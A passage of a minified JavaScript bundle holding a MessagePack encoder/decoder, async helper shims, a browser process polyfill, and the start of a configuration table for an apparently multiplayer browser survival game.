: ArrayBuffer.isView(t)
? new Uint8Array(t.buffer, t.byteOffset, t.byteLength)
: t instanceof ArrayBuffer
? new Uint8Array(t)
: Uint8Array.from(t);
}
function ga(t) {
if (t instanceof ArrayBuffer) return new DataView(t);
var n = gi(t);
return new DataView(n.buffer, n.byteOffset, n.byteLength);
}
var ya = 100,
wa = 2048,
ka = (function () {
function t(t, n, i, o, a, r, s, l) {
void 0 === t && (t = Fr.defaultCodec),
void 0 === n && (n = void 0),
void 0 === i && (i = ya),
void 0 === o && (o = wa),
void 0 === a && (a = !1),
void 0 === r && (r = !1),
void 0 === s && (s = !1),
void 0 === l && (l = !1),
(this.extensionCodec = t),
(this.context = n),
(this.maxDepth = i),
(this.initialBufferSize = o),
(this.sortKeys = a),
(this.forceFloat32 = r),
(this.ignoreUndefined = s),
(this.forceIntegerToFloat = l),
(this.pos = 0),
(this.view = new DataView(new ArrayBuffer(this.initialBufferSize))),
(this.bytes = new Uint8Array(this.view.buffer));
}
return (
(t.prototype.reinitializeState = function () {
this.pos = 0;
}),
(t.prototype.encodeSharedRef = function (t) {
return (
this.reinitializeState(),
this.doEncode(t, 1),
this.bytes.subarray(0, this.pos)
);
}),
(t.prototype.encode = function (t) {
return (
this.reinitializeState(),
this.doEncode(t, 1),
this.bytes.slice(0, this.pos)
);
}),
(t.prototype.doEncode = function (t, n) {
if (n > this.maxDepth)
throw Error("Too deep objects in depth ".concat(n));
null == t
? this.encodeNil()
: "boolean" == typeof t
? this.encodeBoolean(t)
: "number" == typeof t
? this.encodeNumber(t)
: "string" == typeof t
? this.encodeString(t)
: this.encodeObject(t, n);
}),
(t.prototype.ensureBufferSizeToWrite = function (t) {
var n = this.pos + t;
this.view.byteLength < n && this.resizeBuffer(2 * n);
}),
(t.prototype.resizeBuffer = function (t) {
var n = new ArrayBuffer(t),
i = new Uint8Array(n),
o = new DataView(n);
i.set(this.bytes), (this.view = o), (this.bytes = i);
}),
(t.prototype.encodeNil = function () {
this.writeU8(192);
}),
(t.prototype.encodeBoolean = function (t) {
!1 === t ? this.writeU8(194) : this.writeU8(195);
}),
(t.prototype.encodeNumber = function (t) {
Number.isSafeInteger(t) && !this.forceIntegerToFloat
? t >= 0
? t < 128
? this.writeU8(t)
: t < 256
? (this.writeU8(204), this.writeU8(t))
: t < 65536
? (this.writeU8(205), this.writeU16(t))
: t < 4294967296
? (this.writeU8(206), this.writeU32(t))
: (this.writeU8(207), this.writeU64(t))
: t >= -32
? this.writeU8(224 | (t + 32))
: t >= -128
? (this.writeU8(208), this.writeI8(t))
: t >= -32768
? (this.writeU8(209), this.writeI16(t))
: t >= -2147483648
? (this.writeU8(210), this.writeI32(t))
: (this.writeU8(211), this.writeI64(t))
: this.forceFloat32
? (this.writeU8(202), this.writeF32(t))
: (this.writeU8(203), this.writeF64(t));
}),
(t.prototype.writeStringHeader = function (t) {
if (t < 32) this.writeU8(160 + t);
else if (t < 256) this.writeU8(217), this.writeU8(t);
else if (t < 65536) this.writeU8(218), this.writeU16(t);
else if (t < 4294967296) this.writeU8(219), this.writeU32(t);
else throw Error("Too long string: ".concat(t, " bytes in UTF-8"));
}),
(t.prototype.encodeString = function (t) {
if (t.length > Zo) {
var n = Cs(t);
this.ensureBufferSizeToWrite(5 + n),
this.writeStringHeader(n),
ta(t, this.bytes, this.pos),
(this.pos += n);
} else {
var n = Cs(t);
this.ensureBufferSizeToWrite(5 + n),
this.writeStringHeader(n),
Qo(t, this.bytes, this.pos),
(this.pos += n);
}
}),
(t.prototype.encodeObject = function (t, n) {
var i = this.extensionCodec.tryToEncode(t, this.context);
if (null != i) this.encodeExtension(i);
else if (Array.isArray(t)) this.encodeArray(t, n);
else if (ArrayBuffer.isView(t)) this.encodeBinary(t);
else if ("object" == typeof t) this.encodeMap(t, n);
else
throw Error(
"Unrecognized object: ".concat(Object.prototype.toString.apply(t))
);
}),
(t.prototype.encodeBinary = function (t) {
var n = t.byteLength;
if (n < 256) this.writeU8(196), this.writeU8(n);
else if (n < 65536) this.writeU8(197), this.writeU16(n);
else if (n < 4294967296) this.writeU8(198), this.writeU32(n);
else throw Error("Too large binary: ".concat(n));
var i = gi(t);
this.writeU8a(i);
}),
(t.prototype.encodeArray = function (t, n) {
var i = t.length;
if (i < 16) this.writeU8(144 + i);
else if (i < 65536) this.writeU8(220), this.writeU16(i);
else if (i < 4294967296) this.writeU8(221), this.writeU32(i);
else throw Error("Too large array: ".concat(i));
for (var o = 0, a = t; o < a.length; o++) {
var r = a[o];
this.doEncode(r, n + 1);
}
}),
(t.prototype.countWithoutUndefined = function (t, n) {
for (var i = 0, o = 0, a = n; o < a.length; o++)
void 0 !== t[a[o]] && i++;
return i;
}),
(t.prototype.encodeMap = function (t, n) {
var i = Object.keys(t);
this.sortKeys && i.sort();
var o = this.ignoreUndefined
? this.countWithoutUndefined(t, i)
: i.length;
if (o < 16) this.writeU8(128 + o);
else if (o < 65536) this.writeU8(222), this.writeU16(o);
else if (o < 4294967296) this.writeU8(223), this.writeU32(o);
else throw Error("Too large map object: ".concat(o));
for (var a = 0, r = i; a < r.length; a++) {
var s = r[a],
l = t[s];
(this.ignoreUndefined && void 0 === l) ||
(this.encodeString(s), this.doEncode(l, n + 1));
}
}),
(t.prototype.encodeExtension = function (t) {
var n = t.data.length;
if (1 === n) this.writeU8(212);
else if (2 === n) this.writeU8(213);
else if (4 === n) this.writeU8(214);
else if (8 === n) this.writeU8(215);
else if (16 === n) this.writeU8(216);
else if (n < 256) this.writeU8(199), this.writeU8(n);
else if (n < 65536) this.writeU8(200), this.writeU16(n);
else if (n < 4294967296) this.writeU8(201), this.writeU32(n);
else throw Error("Too large extension object: ".concat(n));
this.writeI8(t.type), this.writeU8a(t.data);
}),
(t.prototype.writeU8 = function (t) {
this.ensureBufferSizeToWrite(1),
this.view.setUint8(this.pos, t),
this.pos++;
}),
(t.prototype.writeU8a = function (t) {
var n = t.length;
this.ensureBufferSizeToWrite(n),
this.bytes.set(t, this.pos),
(this.pos += n);
}),
(t.prototype.writeI8 = function (t) {
this.ensureBufferSizeToWrite(1),
this.view.setInt8(this.pos, t),
this.pos++;
}),
(t.prototype.writeU16 = function (t) {
this.ensureBufferSizeToWrite(2),
this.view.setUint16(this.pos, t),
(this.pos += 2);
}),
(t.prototype.writeI16 = function (t) {
this.ensureBufferSizeToWrite(2),
this.view.setInt16(this.pos, t),
(this.pos += 2);
}),
(t.prototype.writeU32 = function (t) {
this.ensureBufferSizeToWrite(4),
this.view.setUint32(this.pos, t),
(this.pos += 4);
}),
(t.prototype.writeI32 = function (t) {
this.ensureBufferSizeToWrite(4),
this.view.setInt32(this.pos, t),
(this.pos += 4);
}),
(t.prototype.writeF32 = function (t) {
this.ensureBufferSizeToWrite(4),
this.view.setFloat32(this.pos, t),
(this.pos += 4);
}),
(t.prototype.writeF64 = function (t) {
this.ensureBufferSizeToWrite(8),
this.view.setFloat64(this.pos, t),
(this.pos += 8);
}),
(t.prototype.writeU64 = function (t) {
this.ensureBufferSizeToWrite(8),
Ko(this.view, this.pos, t),
(this.pos += 8);
}),
(t.prototype.writeI64 = function (t) {
this.ensureBufferSizeToWrite(8),
Br(this.view, this.pos, t),
(this.pos += 8);
}),
t
);
})();
function Ki(t) {
return ""
.concat(t < 0 ? "-" : "", "0x")
.concat(Math.abs(t).toString(16).padStart(2, "0"));
}
var Ce,
Ae,
va = 16,
xa = 16,
ba = (function () {
function t(t, n) {
void 0 === t && (t = va),
void 0 === n && (n = xa),
(this.maxKeyLength = t),
(this.maxLengthPerKey = n),
(this.hit = 0),
(this.miss = 0),
(this.caches = []);
for (var i = 0; i < this.maxKeyLength; i++) this.caches.push([]);
}
return (
(t.prototype.canBeCached = function (t) {
return t > 0 && t <= this.maxKeyLength;
}),
(t.prototype.find = function (t, n, i) {
var o = this.caches[i - 1];
e: for (var a = 0, r = o; a < r.length; a++) {
for (var s = r[a], l = s.bytes, c = 0; c < i; c++)
if (l[c] !== t[n + c]) continue e;
return s.str;
}
return null;
}),
(t.prototype.store = function (t, n) {
var i = this.caches[t.length - 1],
o = {
bytes: t,
str: n,
};
i.length >= this.maxLengthPerKey
? (i[(Math.random() * i.length) | 0] = o)
: i.push(o);
}),
(t.prototype.decode = function (t, n, i) {
var o = this.find(t, n, i);
if (null != o) return this.hit++, o;
this.miss++;
var a = Hr(t, n, i),
r = Uint8Array.prototype.slice.call(t, n, n + i);
return this.store(r, a), a;
}),
t
);
})(),
Sa =
(globalThis && globalThis.__awaiter) ||
function (t, n, i, o) {
return new (i || (i = Promise))(function (a, r) {
function s(t) {
try {
c(o.next(t));
} catch (n) {
r(n);
}
}
function l(t) {
try {
c(o.throw(t));
} catch (n) {
r(n);
}
}
function c(t) {
var n;
t.done
? a(t.value)
: ((n = t.value) instanceof i
? n
: new i(function (t) {
t(n);
})
).then(s, l);
}
c((o = o.apply(t, n || [])).next());
});
},
Ji =
(globalThis && globalThis.__generator) ||
function (t, n) {
var i,
o,
a,
r,
s = {
label: 0,
sent: function () {
if (1 & a[0]) throw a[1];
return a[1];
},
trys: [],
ops: [],
};
return (
(r = {
next: l(0),
throw: l(1),
return: l(2),
}),
"function" == typeof Symbol &&
(r[Symbol.iterator] = function () {
return this;
}),
r
);
function l(r) {
return function (l) {
return (function r(l) {
if (i) throw TypeError("Generator is already executing.");
for (; s; )
try {
if (
((i = 1),
o &&
(a =
2 & l[0]
? o.return
: l[0]
? o.throw || ((a = o.return) && a.call(o), 0)
: o.next) &&
!(a = a.call(o, l[1])).done)
)
return a;
switch (((o = 0), a && (l = [2 & l[0], a.value]), l[0])) {
case 0:
case 1:
a = l;
break;
case 4:
return (
s.label++,
{
value: l[1],
done: !1,
}
);
case 5:
s.label++, (o = l[1]), (l = [0]);
continue;
case 7:
(l = s.ops.pop()), s.trys.pop();
continue;
default:
if (
!(a = (a = s.trys).length > 0 && a[a.length - 1]) &&
(6 === l[0] || 2 === l[0])
) {
s = 0;
continue;
}
if (3 === l[0] && (!a || (l[1] > a[0] && l[1] < a[3]))) {
s.label = l[1];
break;
}
if (6 === l[0] && s.label < a[1]) {
(s.label = a[1]), (a = l);
break;
}
if (a && s.label < a[2]) {
(s.label = a[2]), s.ops.push(l);
break;
}
a[2] && s.ops.pop(), s.trys.pop();
continue;
}
l = n.call(t, s);
} catch (c) {
(l = [6, c]), (o = 0);
} finally {
i = a = 0;
}
if (5 & l[0]) throw l[1];
return {
value: l[0] ? l[1] : void 0,
done: !0,
};
})([r, l]);
};
}
},
As =
(globalThis && globalThis.__asyncValues) ||
function (t) {
if (!Symbol.asyncIterator)
throw TypeError("Symbol.asyncIterator is not defined.");
var n,
i = t[Symbol.asyncIterator];
return i
? i.call(t)
: ((t =
"function" == typeof __values ? __values(t) : t[Symbol.iterator]()),
(n = {}),
o("next"),
o("throw"),
o("return"),
(n[Symbol.asyncIterator] = function () {
return this;
}),
n);
function o(i) {
n[i] =
t[i] &&
function (n) {
return new Promise(function (o, a) {
!(function t(n, i, o, a) {
Promise.resolve(a).then(function (t) {
n({
value: t,
done: o,
});
}, i);
})(o, a, (n = t[i](n)).done, n.value);
});
};
}
},
St =
(globalThis && globalThis.__await) ||
function (t) {
return this instanceof St ? ((this.v = t), this) : new St(t);
},
Ta =
(globalThis && globalThis.__asyncGenerator) ||
function (t, n, i) {
if (!Symbol.asyncIterator)
throw TypeError("Symbol.asyncIterator is not defined.");
var o,
a = i.apply(t, n || []),
r = [];
return (
(o = {}),
s("next"),
s("throw"),
s("return"),
(o[Symbol.asyncIterator] = function () {
return this;
}),
o
);
function s(t) {
a[t] &&
(o[t] = function (n) {
return new Promise(function (i, o) {
r.push([t, n, i, o]) > 1 || l(t, n);
});
});
}
function l(t, n) {
try {
var i;
(i = a[t](n)),
i.value instanceof St
? Promise.resolve(i.value.v).then(c, d)
: h(r[0][2], i);
} catch (o) {
h(r[0][3], o);
}
}
function c(t) {
l("next", t);
}
function d(t) {
l("throw", t);
}
function h(t, n) {
t(n), r.shift(), r.length && l(r[0][0], r[0][1]);
}
},
Ia = function (t) {
var n = typeof t;
return "string" === n || "number" === n;
},
Dt = -1,
es = new DataView(new ArrayBuffer(0)),
Ma = new Uint8Array(es.buffer),
Cn = (function () {
try {
es.getInt8(0);
} catch (t) {
return t.constructor;
}
throw Error("never reached");
})(),
Ds = new Cn("Insufficient data"),
Ea = new ba(),
Pa = (function () {
function t(t, n, i, o, a, r, s, l) {
void 0 === t && (t = Fr.defaultCodec),
void 0 === n && (n = void 0),
void 0 === i && (i = Ke),
void 0 === o && (o = Ke),
void 0 === a && (a = Ke),
void 0 === r && (r = Ke),
void 0 === s && (s = Ke),
void 0 === l && (l = Ea),
(this.extensionCodec = t),
(this.context = n),
(this.maxStrLength = i),
(this.maxBinLength = o),
(this.maxArrayLength = a),
(this.maxMapLength = r),
(this.maxExtLength = s),
(this.keyDecoder = l),
(this.totalPos = 0),
(this.pos = 0),
(this.view = es),
(this.bytes = Ma),
(this.headByte = Dt),
(this.stack = []);
}
return (
(t.prototype.reinitializeState = function () {
(this.totalPos = 0), (this.headByte = Dt), (this.stack.length = 0);
}),
(t.prototype.setBuffer = function (t) {
(this.bytes = gi(t)), (this.view = ga(this.bytes)), (this.pos = 0);
}),
(t.prototype.appendBuffer = function (t) {
if (this.headByte !== Dt || this.hasRemaining(1)) {
var n = this.bytes.subarray(this.pos),
i = gi(t),
o = new Uint8Array(n.length + i.length);
o.set(n), o.set(i, n.length), this.setBuffer(o);
} else this.setBuffer(t);
}),
(t.prototype.hasRemaining = function (t) {
return this.view.byteLength - this.pos >= t;
}),
(t.prototype.createExtraByteError = function (t) {
var n = this.view,
i = this.pos;
return RangeError(
"Extra "
.concat(n.byteLength - i, " of ")
.concat(n.byteLength, " byte(s) found at buffer[")
.concat(t, "]")
);
}),
(t.prototype.decode = function (t) {
this.reinitializeState(), this.setBuffer(t);
var n = this.doDecodeSync();
if (this.hasRemaining(1)) throw this.createExtraByteError(this.pos);
return n;
}),
(t.prototype.decodeMulti = function (t) {
return Ji(this, function (n) {
switch (n.label) {
case 0:
this.reinitializeState(), this.setBuffer(t), (n.label = 1);
case 1:
return this.hasRemaining(1) ? [4, this.doDecodeSync()] : [3, 3];
case 2:
return n.sent(), [3, 1];
case 3:
return [2];
}
});
}),
(t.prototype.decodeAsync = function (t) {
var n, i, o, a;
return Sa(this, void 0, void 0, function () {
var r, s, l, c, d, h, u, p;
return Ji(this, function (f) {
switch (f.label) {
case 0:
(r = !1), (f.label = 1);
case 1:
f.trys.push([1, 6, 7, 12]), (n = As(t)), (f.label = 2);
case 2:
return [4, n.next()];
case 3:
if ((i = f.sent()).done) return [3, 5];
if (((l = i.value), r))
throw this.createExtraByteError(this.totalPos);
this.appendBuffer(l);
try {
(s = this.doDecodeSync()), (r = !0);
} catch ($) {
if (!($ instanceof Cn)) throw $;
}
(this.totalPos += this.pos), (f.label = 4);
case 4:
return [3, 2];
case 5:
return [3, 12];
case 6:
return (
(o = {
error: (c = f.sent()),
}),
[3, 12]
);
case 7:
return (
f.trys.push([7, , 10, 11]),
i && !i.done && (a = n.return) ? [4, a.call(n)] : [3, 9]
);
case 8:
f.sent(), (f.label = 9);
case 9:
return [3, 11];
case 10:
if (o) throw o.error;
return [7];
case 11:
return [7];
case 12:
if (r) {
if (this.hasRemaining(1))
throw this.createExtraByteError(this.totalPos);
return [2, s];
}
throw (
((d = this),
(h = d.headByte),
(u = d.pos),
(p = d.totalPos),
RangeError(
"Insufficient data in parsing "
.concat(Ki(h), " at ")
.concat(p, " (")
.concat(u, " in the current buffer)")
))
);
}
});
});
}),
(t.prototype.decodeArrayStream = function (t) {
return this.decodeMultiAsync(t, !0);
}),
(t.prototype.decodeStream = function (t) {
return this.decodeMultiAsync(t, !1);
}),
(t.prototype.decodeMultiAsync = function (t, n) {
return Ta(this, arguments, function () {
var i, o, a, r, s, l, c, d, h;
return Ji(this, function (u) {
switch (u.label) {
case 0:
(i = n), (o = -1), (u.label = 1);
case 1:
u.trys.push([1, 13, 14, 19]), (a = As(t)), (u.label = 2);
case 2:
return [4, St(a.next())];
case 3:
if ((r = u.sent()).done) return [3, 12];
if (((s = r.value), n && 0 === o))
throw this.createExtraByteError(this.totalPos);
this.appendBuffer(s),
i && ((o = this.readArraySize()), (i = !1), this.complete()),
(u.label = 4);
case 4:
u.trys.push([4, 9, , 10]), (u.label = 5);
case 5:
return [4, St(this.doDecodeSync())];
case 6:
return [4, u.sent()];
case 7:
return u.sent(), 0 == --o ? [3, 8] : [3, 5];
case 8:
return [3, 10];
case 9:
if (!((l = u.sent()) instanceof Cn)) throw l;
return [3, 10];
case 10:
(this.totalPos += this.pos), (u.label = 11);
case 11:
return [3, 2];
case 12:
return [3, 19];
case 13:
return (
(d = {
error: (c = u.sent()),
}),
[3, 19]
);
case 14:
return (
u.trys.push([14, , 17, 18]),
r && !r.done && (h = a.return) ? [4, St(h.call(a))] : [3, 16]
);
case 15:
u.sent(), (u.label = 16);
case 16:
return [3, 18];
case 17:
if (d) throw d.error;
return [7];
case 18:
return [7];
case 19:
return [2];
}
});
});
}),
(t.prototype.doDecodeSync = function () {
e: for (;;) {
var t = this.readHeadByte(),
n = void 0;
if (t >= 224) n = t - 256;
else if (t < 192) {
if (t < 128) n = t;
else if (t < 144) {
var i = t - 128;
if (0 !== i) {
this.pushMapState(i), this.complete();
continue e;
}
n = {};
} else if (t < 160) {
var i = t - 144;
if (0 !== i) {
this.pushArrayState(i), this.complete();
continue e;
}
n = [];
} else {
var o = t - 160;
n = this.decodeUtf8String(o, 0);
}
} else if (192 === t) n = null;
else if (194 === t) n = !1;
else if (195 === t) n = !0;
else if (202 === t) n = this.readF32();
else if (203 === t) n = this.readF64();
else if (204 === t) n = this.readU8();
else if (205 === t) n = this.readU16();
else if (206 === t) n = this.readU32();
else if (207 === t) n = this.readU64();
else if (208 === t) n = this.readI8();
else if (209 === t) n = this.readI16();
else if (210 === t) n = this.readI32();
else if (211 === t) n = this.readI64();
else if (217 === t) {
var o = this.lookU8();
n = this.decodeUtf8String(o, 1);
} else if (218 === t) {
var o = this.lookU16();
n = this.decodeUtf8String(o, 2);
} else if (219 === t) {
var o = this.lookU32();
n = this.decodeUtf8String(o, 4);
} else if (220 === t) {
var i = this.readU16();
if (0 !== i) {
this.pushArrayState(i), this.complete();
continue e;
}
n = [];
} else if (221 === t) {
var i = this.readU32();
if (0 !== i) {
this.pushArrayState(i), this.complete();
continue e;
}
n = [];
} else if (222 === t) {
var i = this.readU16();
if (0 !== i) {
this.pushMapState(i), this.complete();
continue e;
}
n = {};
} else if (223 === t) {
var i = this.readU32();
if (0 !== i) {
this.pushMapState(i), this.complete();
continue e;
}
n = {};
} else if (196 === t) {
var i = this.lookU8();
n = this.decodeBinary(i, 1);
} else if (197 === t) {
var i = this.lookU16();
n = this.decodeBinary(i, 2);
} else if (198 === t) {
var i = this.lookU32();
n = this.decodeBinary(i, 4);
} else if (212 === t) n = this.decodeExtension(1, 0);
else if (213 === t) n = this.decodeExtension(2, 0);
else if (214 === t) n = this.decodeExtension(4, 0);
else if (215 === t) n = this.decodeExtension(8, 0);
else if (216 === t) n = this.decodeExtension(16, 0);
else if (199 === t) {
var i = this.lookU8();
n = this.decodeExtension(i, 1);
} else if (200 === t) {
var i = this.lookU16();
n = this.decodeExtension(i, 2);
} else if (201 === t) {
var i = this.lookU32();
n = this.decodeExtension(i, 4);
} else throw new Pe("Unrecognized type byte: ".concat(Ki(t)));
this.complete();
for (var a = this.stack; a.length > 0; ) {
var r = a[a.length - 1];
if (0 === r.type) {
if (
((r.array[r.position] = n), r.position++, r.position === r.size)
)
a.pop(), (n = r.array);
else continue e;
} else if (1 === r.type) {
if (!Ia(n))
throw new Pe(
"The type of key must be string or number but " + typeof n
);
if ("__proto__" === n)
throw new Pe("The key __proto__ is not allowed");
(r.key = n), (r.type = 2);
continue e;
} else if (
((r.map[r.key] = n), r.readCount++, r.readCount === r.size)
)
a.pop(), (n = r.map);
else {
(r.key = null), (r.type = 1);
continue e;
}
}
return n;
}
}),
(t.prototype.readHeadByte = function () {
return (
this.headByte === Dt && (this.headByte = this.readU8()), this.headByte
);
}),
(t.prototype.complete = function () {
this.headByte = Dt;
}),
(t.prototype.readArraySize = function () {
var t = this.readHeadByte();
switch (t) {
case 220:
return this.readU16();
case 221:
return this.readU32();
default:
if (t < 160) return t - 144;
throw new Pe("Unrecognized array type byte: ".concat(Ki(t)));
}
}),
(t.prototype.pushMapState = function (t) {
if (t > this.maxMapLength)
throw new Pe(
"Max length exceeded: map length ("
.concat(t, ") > maxMapLengthLength (")
.concat(this.maxMapLength, ")")
);
this.stack.push({
type: 1,
size: t,
key: null,
readCount: 0,
map: {},
});
}),
(t.prototype.pushArrayState = function (t) {
if (t > this.maxArrayLength)
throw new Pe(
"Max length exceeded: array length ("
.concat(t, ") > maxArrayLength (")
.concat(this.maxArrayLength, ")")
);
this.stack.push({
type: 0,
size: t,
array: Array(t),
position: 0,
});
}),
(t.prototype.decodeUtf8String = function (t, n) {
if (t > this.maxStrLength)
throw new Pe(
"Max length exceeded: UTF-8 byte length ("
.concat(t, ") > maxStrLength (")
.concat(this.maxStrLength, ")")
);
if (this.bytes.byteLength < this.pos + n + t) throw Ds;
var i,
o,
a = this.pos + n;
return (
(o =
this.stateIsMapKey() &&
!(null === (i = this.keyDecoder) || void 0 === i) &&
i.canBeCached(t)
? this.keyDecoder.decode(this.bytes, a, t)
: t > sa
? ra(this.bytes, a, t)
: Hr(this.bytes, a, t)),
(this.pos += n + t),
o
);
}),
(t.prototype.stateIsMapKey = function () {
return (
!!(this.stack.length > 0) &&
1 === this.stack[this.stack.length - 1].type
);
}),
(t.prototype.decodeBinary = function (t, n) {
if (t > this.maxBinLength)
throw new Pe(
"Max length exceeded: bin length ("
.concat(t, ") > maxBinLength (")
.concat(this.maxBinLength, ")")
);
if (!this.hasRemaining(t + n)) throw Ds;
var i = this.pos + n,
o = this.bytes.subarray(i, i + t);
return (this.pos += n + t), o;
}),
(t.prototype.decodeExtension = function (t, n) {
if (t > this.maxExtLength)
throw new Pe(
"Max length exceeded: ext length ("
.concat(t, ") > maxExtLength (")
.concat(this.maxExtLength, ")")
);
var i = this.view.getInt8(this.pos + n),
o = this.decodeBinary(t, n + 1);
return this.extensionCodec.decode(o, i, this.context);
}),
(t.prototype.lookU8 = function () {
return this.view.getUint8(this.pos);
}),
(t.prototype.lookU16 = function () {
return this.view.getUint16(this.pos);
}),
(t.prototype.lookU32 = function () {
return this.view.getUint32(this.pos);
}),
(t.prototype.readU8 = function () {
var t = this.view.getUint8(this.pos);
return this.pos++, t;
}),
(t.prototype.readI8 = function () {
var t = this.view.getInt8(this.pos);
return this.pos++, t;
}),
(t.prototype.readU16 = function () {
var t = this.view.getUint16(this.pos);
return (this.pos += 2), t;
}),
(t.prototype.readI16 = function () {
var t = this.view.getInt16(this.pos);
return (this.pos += 2), t;
}),
(t.prototype.readU32 = function () {
var t = this.view.getUint32(this.pos);
return (this.pos += 4), t;
}),
(t.prototype.readI32 = function () {
var t = this.view.getInt32(this.pos);
return (this.pos += 4), t;
}),
(t.prototype.readU64 = function () {
var t = Jo(this.view, this.pos);
return (this.pos += 8), t;
}),
(t.prototype.readI64 = function () {
var t = zr(this.view, this.pos);
return (this.pos += 8), t;
}),
(t.prototype.readF32 = function () {
var t = this.view.getFloat32(this.pos);
return (this.pos += 4), t;
}),
(t.prototype.readF64 = function () {
var t = this.view.getFloat64(this.pos);
return (this.pos += 8), t;
}),
t
);
})(),
rt =
"u" > typeof globalThis
? globalThis
: "u" > typeof window
? window
: "u" > typeof global
? global
: "u" > typeof self
? self
: {},
$t = {},
Ca = {
get exports() {
return $t;
},
set exports(e) {
$t = e;
},
},
le = (Ca.exports = {});
function An() {
throw Error("setTimeout has not been defined");
}
function Dn() {
throw Error("clearTimeout has not been defined");
}
function Vr(t) {
if (Ce === setTimeout) return setTimeout(t, 0);
if ((Ce === An || !Ce) && setTimeout)
return (Ce = setTimeout), setTimeout(t, 0);
try {
return Ce(t, 0);
} catch {
try {
return Ce.call(null, t, 0);
} catch {
return Ce.call(this, t, 0);
}
}
}
function Aa(t) {
if (Ae === clearTimeout) return clearTimeout(t);
if ((Ae === Dn || !Ae) && clearTimeout)
return (Ae = clearTimeout), clearTimeout(t);
try {
return Ae(t);
} catch {
try {
return Ae.call(null, t);
} catch {
return Ae.call(this, t);
}
}
}
!(function () {
try {
Ce = "function" == typeof setTimeout ? setTimeout : An;
} catch {
Ce = An;
}
try {
Ae = "function" == typeof clearTimeout ? clearTimeout : Dn;
} catch {
Ae = Dn;
}
})();
var Qe,
ze = [],
Tt = !1,
li = -1;
function Da() {
Tt &&
Qe &&
((Tt = !1),
Qe.length ? (ze = Qe.concat(ze)) : (li = -1),
ze.length && Ur());
}
function Ur() {
if (!Tt) {
var t = Vr(Da);
Tt = !0;
for (var n = ze.length; n; ) {
for (Qe = ze, ze = []; ++li < n; ) Qe && Qe[li].run();
(li = -1), (n = ze.length);
}
(Qe = null), (Tt = !1), Aa(t);
}
}
function Lr(t, n) {
(this.fun = t), (this.array = n);
}
function Fe() {}
(le.nextTick = function (t) {
var n = Array(arguments.length - 1);
if (arguments.length > 1)
for (var i = 1; i < arguments.length; i++) n[i - 1] = arguments[i];
ze.push(new Lr(t, n)), 1 !== ze.length || Tt || Vr(Ur);
}),
(Lr.prototype.run = function () {
this.fun.apply(null, this.array);
}),
(le.title = "browser"),
(le.browser = !0),
(le.env = {}),
(le.argv = []),
(le.version = ""),
(le.versions = {}),
(le.on = Fe),
(le.addListener = Fe),
(le.once = Fe),
(le.off = Fe),
(le.removeListener = Fe),
(le.removeAllListeners = Fe),
(le.emit = Fe),
(le.prependListener = Fe),
(le.prependOnceListener = Fe),
(le.listeners = function (t) {
return [];
}),
(le.binding = function (t) {
throw Error("process.binding is not supported");
}),
(le.cwd = function () {
return "/";
}),
(le.chdir = function (t) {
throw Error("process.chdir is not supported");
}),
(le.umask = function () {
return 0;
});
const Oa = 1920,
Ra = 1080,
_a = 9,
Nr = $t && -1 != $t.argv.indexOf("--largeserver") ? 80 : 40,
Ba = Nr + 10,
za = 6,
Ha = 3e3,
Fa = 10,
Va = 5,
Ua = 50,
La = 4.5,
Na = 15,
qa = 0.9,
Wa = 3e3,
Xa = 60,
Ga = 35,
Ya = 3e3,
$a = 500,
Ka = $t && {}.IS_SANDBOX,
Ja = 100,
Qa = Math.PI / 2.6,
Za = 10,
ja = 0.25,
el = Math.PI / 2,
tl = 35,
il = 0.0016,
nl = 0.993,
sl = 34,
rl = [
"#bf8f54",
"#cbb091",
"#896c4b",
"#fadadc",
"#ececec",
"#c37373",
"#4c4c4c",
"#ecaff7",
"#738cc3",
"#8bc373",
],
ol = 7,
al = 0.06,
ll = [
"Sid",
"Steph",
"Bmoe",
"Romn",
"Jononthecool",
"Fiona",
"Vince",
"Nathan",
"Nick",
"Flappy",
"Ronald",
"Otis",
"Pepe",
"Mc Donald",
"Theo",
"Fabz",
"Oliver",
"Jeff",
"Jimmy",
"Helena",
"Reaper",
"Ben",
"Alan",
"Naomi",
"XYZ",
"Clever",
"Jeremy",
"Mike",
"Destined",
"Stallion",
"Allison",
"Meaty",
"Sophia",
"Vaja",
"Joey",
"Pendy",
"Murdoch",
"Theo",
"Jared",
"July",
"Sonia",
"Mel",
"Dexter",
"Quinn",
"Milky",
],
cl = Math.PI / 3,
ci = [
{
id: 0,
src: "",
xp: 0,
val: 1,
},
{
id: 1,
src: "_g",
xp: 3e3,
val: 1.1,
},
{
id: 2,
src: "_d",
xp: 7e3,
val: 1.18,
},
{
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18,
},
],
hl = function (t) {
let n = t.weaponXP[t.weaponIndex] || 0;
for (let i = ci.length - 1; i >= 0; --i) if (n >= ci[i].xp) return ci[i];
},
fl = ["wood", "food", "stone", "points"],
ul = 7,
dl = 9,
pl = 3,
ml = 32,
gl = 7,
yl = 724,
wl = 114,
kl = 0.0011,
vl = 1e-4,
xl = 1.3,
bl = [150, 160, 165, 175],
Sl = [80, 85, 95],
Tl = [80, 85, 90],
Il = 2400,
Ml = 0.75,
El = 15,
ts = 14400,
Pl = 40,
Cl = 2200,
Al = 0.6,
Dl = 1,
Ol = 0.3,
Rl = 0.3,
_l = 144e4,
is = 320,
Bl = 100,
zl = 2,
Hl = 3200,
Fl = 1440,
Vl = 0.2,
Ul = -1,
Ll = 13960,
Nl = 13960,
T = {
maxScreenWidth: 1920,
maxScreenHeight: 1080,
serverUpdateRate: 9,
maxPlayers: Nr,
maxPlayersHard: Ba,
collisionDepth: 6,
minimapRate: 3e3,
colGrid: 10,
clientSendRate: 5,
healthBarWidth: 50,
healthBarPad: 4.5,
iconPadding: 15,
iconPad: 0.9,
deathFadeout: 3e3,
crownIconScale: 60,
crownPad: 35,
chatCountdown: 3e3,
chatCooldown: 500,
inSandbox: Ka,
maxAge: 100,
gatherAngle: Qa,
gatherWiggle: 10,
hitReturnRatio: 0.25,
hitAngle: el,
playerScale: 35,
playerSpeed: 0.0016,
playerDecel: 0.993,
nameY: 34,
skinColors: rl,
animalCount: 7,
aiTurnRandom: 0.06,
cowNames: ll,
shieldAngle: cl,
weaponVariants: ci,
fetchVariant: hl,
resourceTypes: fl,
areaCount: 7,
treesPerArea: 9,
bushesPerArea: 3,
totalRocks: 32,
goldOres: 7,
riverWidth: 724,
riverPadding: 114,
waterCurrent: 0.0011,
waveSpeed: 1e-4,
waveMax: 1.3,
treeScales: bl,
bushScales: Sl,
rockScales: Tl,
snowBiomeTop: 2400,
snowSpeed: 0.75,
maxNameLength: 15,
mapScale: 14400,
